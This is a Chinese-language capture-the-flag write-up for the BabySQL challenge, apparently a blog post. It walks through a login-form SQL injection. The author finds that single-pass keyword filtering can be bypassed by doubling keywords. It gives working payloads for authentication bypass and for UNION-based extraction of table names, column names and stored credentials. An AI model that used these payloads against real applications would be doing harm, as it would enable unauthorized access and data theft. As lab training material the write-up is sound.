Loading

[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

尝试了单引号,出现报错,说明这里还是可能存在字符型注入。

image-20220509094253938

直接使用万能钥匙注入,回显用户密码错误,说明被拦截了。

image-20220509094445634

尝试输入了几次发现都是这种情况,后来发现在万能钥匙中使用其他字符就可以成功登录,但是不能使用常用的数字来判断,说明服务端对输入的账号密码进行了校验,所以测试 SQL 注入的时候,尽量使用 无规则字符串(数字 + 字母),常用的语句可能已经被记录了,所以不能使用。

# 原 万能钥匙
# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1

# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1

# 使用随机字符串的万能钥匙
# payload1
# 用户名:mmmm' and 'skkk'='skkk
# 密码:kkkk' or 'akkk'='akkk

# payload2
# 用户名:qweasd' and 'qweasdz'='qweasdz
# 密码:qweasdz' or 'mmmm'='mmmm

image-20220509095406423

这里就获得了用户名是 admin , 下面进行尝试的时候就可以只在 密码框 进行注入(本身的注入点就在 密码框 )就行。

image-20220509101835146

image-20220509101919859

image-20220509102013419

发现 or、union 、select、where、from 被过滤了,但是这些关键字只过滤了一次,可以用 双写绕过。

image-20220509102159389

成功回显了数据位置

image-20220509102344721

# payload
?username=admin&password=m' ununionion selselectect 1,2,3 %23

继续注入带出想要的信息

# 获取数据表名
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),3 %23
## b4bsql,geekuser!


# 获取字段名
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23
## id,username,password!


# 获取字段值
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3 %23
## .....,8flagflag{bf784c2e-840a-430d-bbaf-db7d2bb03158}!

成功获得flag

image-20220509103449392

posted @ 2022-08-13 10:38  knsec  阅读(53)  评论(0编辑  收藏  举报